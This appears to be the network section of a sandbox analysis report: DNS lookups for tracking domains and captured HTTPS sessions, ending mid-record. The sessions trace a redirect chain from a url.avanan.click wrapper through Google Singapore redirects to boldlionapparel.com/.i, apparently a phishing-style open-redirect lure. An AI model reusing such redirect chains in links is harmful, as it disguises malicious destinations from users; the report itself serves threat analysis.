Oct 16, 2024 17:57:07.553540945 CEST	1.1.1.1	192.168.2.5	0x5e43	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.553540945 CEST	1.1.1.1	192.168.2.5	0x5e43	No error (0)	fp2c5c.wac.kappacdn.net		152.195.15.58	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.554543972 CEST	1.1.1.1	192.168.2.5	0x5446	No error (0)	cdn.bizible.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.554543972 CEST	1.1.1.1	192.168.2.5	0x5446	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.554980040 CEST	1.1.1.1	192.168.2.5	0x874b	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.554980040 CEST	1.1.1.1	192.168.2.5	0x874b	No error (0)	platform.twitter.map.fastly.net		199.232.188.157	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.555001020 CEST	1.1.1.1	192.168.2.5	0x3534	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.556967974 CEST	1.1.1.1	192.168.2.5	0x68ff	No error (0)	tag.demandbase.com		18.245.46.89	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.556967974 CEST	1.1.1.1	192.168.2.5	0x68ff	No error (0)	tag.demandbase.com		18.245.46.22	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.556967974 CEST	1.1.1.1	192.168.2.5	0x68ff	No error (0)	tag.demandbase.com		18.245.46.25	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.556967974 CEST	1.1.1.1	192.168.2.5	0x68ff	No error (0)	tag.demandbase.com		18.245.46.44	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.556982994 CEST	1.1.1.1	192.168.2.5	0x11c9	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.212.141.180	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.248.127.197	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.31.75	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.73.195.97	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.48.180.95	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.110.142	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.248.235.56	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558676958 CEST	1.1.1.1	192.168.2.5	0x3d77	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.30.138.159	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558912992 CEST	1.1.1.1	192.168.2.5	0x6c87	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558912992 CEST	1.1.1.1	192.168.2.5	0x6c87	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.558912992 CEST	1.1.1.1	192.168.2.5	0x6c87	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.559073925 CEST	1.1.1.1	192.168.2.5	0x5de6	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:07.561377048 CEST	1.1.1.1	192.168.2.5	0x11e2	No error (0)	googleads.g.doubleclick.net		142.250.185.98	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.561920881 CEST	1.1.1.1	192.168.2.5	0x5234	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Oct 16, 2024 17:57:07.911760092 CEST	1.1.1.1	192.168.2.5	0x759e	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.911760092 CEST	1.1.1.1	192.168.2.5	0x759e	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.912003994 CEST	1.1.1.1	192.168.2.5	0xc270	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.912003994 CEST	1.1.1.1	192.168.2.5	0xc270	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.918823957 CEST	1.1.1.1	192.168.2.5	0xe63a	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.919495106 CEST	1.1.1.1	192.168.2.5	0xbce2	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.919495106 CEST	1.1.1.1	192.168.2.5	0xbce2	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.919495106 CEST	1.1.1.1	192.168.2.5	0xbce2	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.919495106 CEST	1.1.1.1	192.168.2.5	0xbce2	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.923712969 CEST	1.1.1.1	192.168.2.5	0x1c7	No error (0)	api.company-target.com		18.66.102.127	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.923712969 CEST	1.1.1.1	192.168.2.5	0x1c7	No error (0)	api.company-target.com		18.66.102.98	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.923712969 CEST	1.1.1.1	192.168.2.5	0x1c7	No error (0)	api.company-target.com		18.66.102.85	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.923712969 CEST	1.1.1.1	192.168.2.5	0x1c7	No error (0)	api.company-target.com		18.66.102.75	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.949583054 CEST	1.1.1.1	192.168.2.5	0x6cc5	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.949583054 CEST	1.1.1.1	192.168.2.5	0x6cc5	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.949583054 CEST	1.1.1.1	192.168.2.5	0x6cc5	No error (0)	s.twitter.com		104.244.42.3	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.949614048 CEST	1.1.1.1	192.168.2.5	0x9839	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.949614048 CEST	1.1.1.1	192.168.2.5	0x9839	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.957901001 CEST	1.1.1.1	192.168.2.5	0xc952	No error (0)	cdn.bizibly.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.957901001 CEST	1.1.1.1	192.168.2.5	0xc952	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.957901001 CEST	1.1.1.1	192.168.2.5	0xc952	No error (0)	fp2c5c.wac.kappacdn.net		152.195.15.58	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.958270073 CEST	1.1.1.1	192.168.2.5	0xe25e	No error (0)	cdn.bizibly.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.958270073 CEST	1.1.1.1	192.168.2.5	0xe25e	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.961941004 CEST	1.1.1.1	192.168.2.5	0xa392	No error (0)	t.co		162.159.140.229	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.982811928 CEST	1.1.1.1	192.168.2.5	0x4ee8	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.982811928 CEST	1.1.1.1	192.168.2.5	0x4ee8	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.982811928 CEST	1.1.1.1	192.168.2.5	0x4ee8	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.982811928 CEST	1.1.1.1	192.168.2.5	0x4ee8	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.983577013 CEST	1.1.1.1	192.168.2.5	0x1278	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:08.007215023 CEST	1.1.1.1	192.168.2.5	0xf112	No error (0)	bat-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:08.007215023 CEST	1.1.1.1	192.168.2.5	0xf112	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.007215023 CEST	1.1.1.1	192.168.2.5	0xf112	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.012729883 CEST	1.1.1.1	192.168.2.5	0x974d	No error (0)	tag-logger.demandbase.com		18.173.205.127	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.012729883 CEST	1.1.1.1	192.168.2.5	0x974d	No error (0)	tag-logger.demandbase.com		18.173.205.104	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.012729883 CEST	1.1.1.1	192.168.2.5	0x974d	No error (0)	tag-logger.demandbase.com		18.173.205.94	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.012729883 CEST	1.1.1.1	192.168.2.5	0x974d	No error (0)	tag-logger.demandbase.com		18.173.205.117	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.329324007 CEST	1.1.1.1	192.168.2.5	0xde23	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:08.331609964 CEST	1.1.1.1	192.168.2.5	0x4f5d	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:08.331609964 CEST	1.1.1.1	192.168.2.5	0x4f5d	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.235.133.40	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.331609964 CEST	1.1.1.1	192.168.2.5	0x4f5d	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		44.194.70.0	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.331609964 CEST	1.1.1.1	192.168.2.5	0x4f5d	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.228.180.107	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.331609964 CEST	1.1.1.1	192.168.2.5	0x4f5d	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.196.101.185	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.331609964 CEST	1.1.1.1	192.168.2.5	0x4f5d	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.203.22.141	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.331609964 CEST	1.1.1.1	192.168.2.5	0x4f5d	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.207.158.69	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.331609964 CEST	1.1.1.1	192.168.2.5	0x4f5d	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.205.124.140	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.331609964 CEST	1.1.1.1	192.168.2.5	0x4f5d	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.21.129.120	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.825988054 CEST	1.1.1.1	192.168.2.5	0x47a9	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.825988054 CEST	1.1.1.1	192.168.2.5	0x47a9	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:08.826246977 CEST	1.1.1.1	192.168.2.5	0xf898	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:08.905134916 CEST	1.1.1.1	192.168.2.5	0x51e8	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:08.905196905 CEST	1.1.1.1	192.168.2.5	0x1944	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:12.760472059 CEST	1.1.1.1	192.168.2.5	0x1804	No error (0)	js.qualified.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:12.760489941 CEST	1.1.1.1	192.168.2.5	0x781a	No error (0)	js.qualified.com		104.18.16.5	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:12.760489941 CEST	1.1.1.1	192.168.2.5	0x781a	No error (0)	js.qualified.com		104.18.17.5	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:12.871421099 CEST	1.1.1.1	192.168.2.5	0x23f8	No error (0)	ws6.qualified.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:12.873631001 CEST	1.1.1.1	192.168.2.5	0x9640	No error (0)	ws6.qualified.com		104.18.16.5	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:12.873631001 CEST	1.1.1.1	192.168.2.5	0x9640	No error (0)	ws6.qualified.com		104.18.17.5	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:17.605071068 CEST	1.1.1.1	192.168.2.5	0x54e5	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:17.605215073 CEST	1.1.1.1	192.168.2.5	0x3269	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:26.222223997 CEST	1.1.1.1	192.168.2.5	0x1b23	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:26.222223997 CEST	1.1.1.1	192.168.2.5	0x1b23	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:36.168447971 CEST	1.1.1.1	192.168.2.5	0xf729	No error (0)	td.doubleclick.net		142.250.185.226	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:36.169680119 CEST	1.1.1.1	192.168.2.5	0x68f9	No error (0)	ad.doubleclick.net		142.250.186.134	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:36.170306921 CEST	1.1.1.1	192.168.2.5	0xed1f	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Oct 16, 2024 17:57:36.295984983 CEST	1.1.1.1	192.168.2.5	0xfc19	No error (0)	analytics.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:36.299441099 CEST	1.1.1.1	192.168.2.5	0x4cd7	No error (0)	analytics.google.com	analytics-alv.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	108.138.7.53	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:15 UTC	1010	OUT	GET /v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA HTTP/1.1 Host: url.avanan.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:16 UTC	588	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 16 Oct 2024 15:56:16 GMT location: https://www.google.com.sg/url?q=2RUDu&rct=2RUDu&sa=t&esrc=2RUDu&source=&cd=2RUDu&uact=&url=amp/s/boldlionapparel.com/.i Apigw-Requestid: fwBFGinkIAMEa1g= set-cookie: x-cloud-sec-ctp = b6cc0bcf-8259-448e-9929-fa5209d6ebe7; Secure; HttpOnly; path=/; expires=16-Oct-2025 15:56:16 GMT X-Cache: Miss from cloudfront Via: 1.1 c3fc8d1fb362a6655af993732c376dc4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P6 X-Amz-Cf-Id: 3C9l9iU2A6HK9slQP8Z6Zu30ulB8g9ccigja29Tr7nxhhPFwpaSkBA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	142.250.184.227	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:17 UTC	753	OUT	GET /url?q=2RUDu&rct=2RUDu&sa=t&esrc=2RUDu&source=&cd=2RUDu&uact=&url=amp/s/boldlionapparel.com/.i HTTP/1.1 Host: www.google.com.sg Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:17 UTC	1012	IN	HTTP/1.1 302 Found Location: https://www.google.com.sg/amp/s/boldlionapparel.com/.i Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-38EuqMIVxAEVHLh56jaPpg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Wed, 16 Oct 2024 15:56:17 GMT Server: gws Content-Length: 251 X-XSS-Protection: 0 Set-Cookie: NID=518=Ej16O_dwVhuIBxODHTOpGa6_7sYtGXTI1reT8-rHEu-1y0ek2Dz3OH3jDlBCOuNVEGeKw5pkoF_l7lVuy114Lk8PVEGnJqfo4qiiH3eYI5GGSM6E5yMLATO5JHjK0PbGFZvKlGPAUk1oR_X0LNsdQk2Zti16mzGu59q9GfjX5prLAZVQUGjQLTYPLXzgnGRF; expires=Thu, 17-Apr-2025 15:56:17 GMT; path=/; domain=.google.com.sg; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-16 15:56:17 UTC	251	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2e 73 67 2f 61 6d 70 2f 73 2f 62 6f 6c 64 6c 69 6f 6e 61 70 70 61 72 65 6c 2e 63 6f 6d 2f 2e 69 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com.sg/amp/s/boldlionapparel.com/.i">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:18 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-16 15:56:19 UTC	495	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=175721 Date: Wed, 16 Oct 2024 15:56:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	142.250.184.227	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:19 UTC	898	OUT	GET /amp/s/boldlionapparel.com/.i HTTP/1.1 Host: www.google.com.sg Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=Ej16O_dwVhuIBxODHTOpGa6_7sYtGXTI1reT8-rHEu-1y0ek2Dz3OH3jDlBCOuNVEGeKw5pkoF_l7lVuy114Lk8PVEGnJqfo4qiiH3eYI5GGSM6E5yMLATO5JHjK0PbGFZvKlGPAUk1oR_X0LNsdQk2Zti16mzGu59q9GfjX5prLAZVQUGjQLTYPLXzgnGRF
2024-10-16 15:56:19 UTC	831	IN	HTTP/1.1 302 Found Location: https://www.google.com.sg/url?q=https://boldlionapparel.com/.i Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-aVo7O82RpgACnJbRhzpzCw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Wed, 16 Oct 2024 15:56:19 GMT Server: gws Content-Length: 259 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-16 15:56:19 UTC	259	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2e 73 67 2f 75 72 6c 3f 71 3d 68 74 74 70 73 3a 2f 2f 62 6f 6c 64 6c 69 6f 6e 61 70 70 61 72 65 6c 2e 63 6f 6d 2f 2e 69 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A 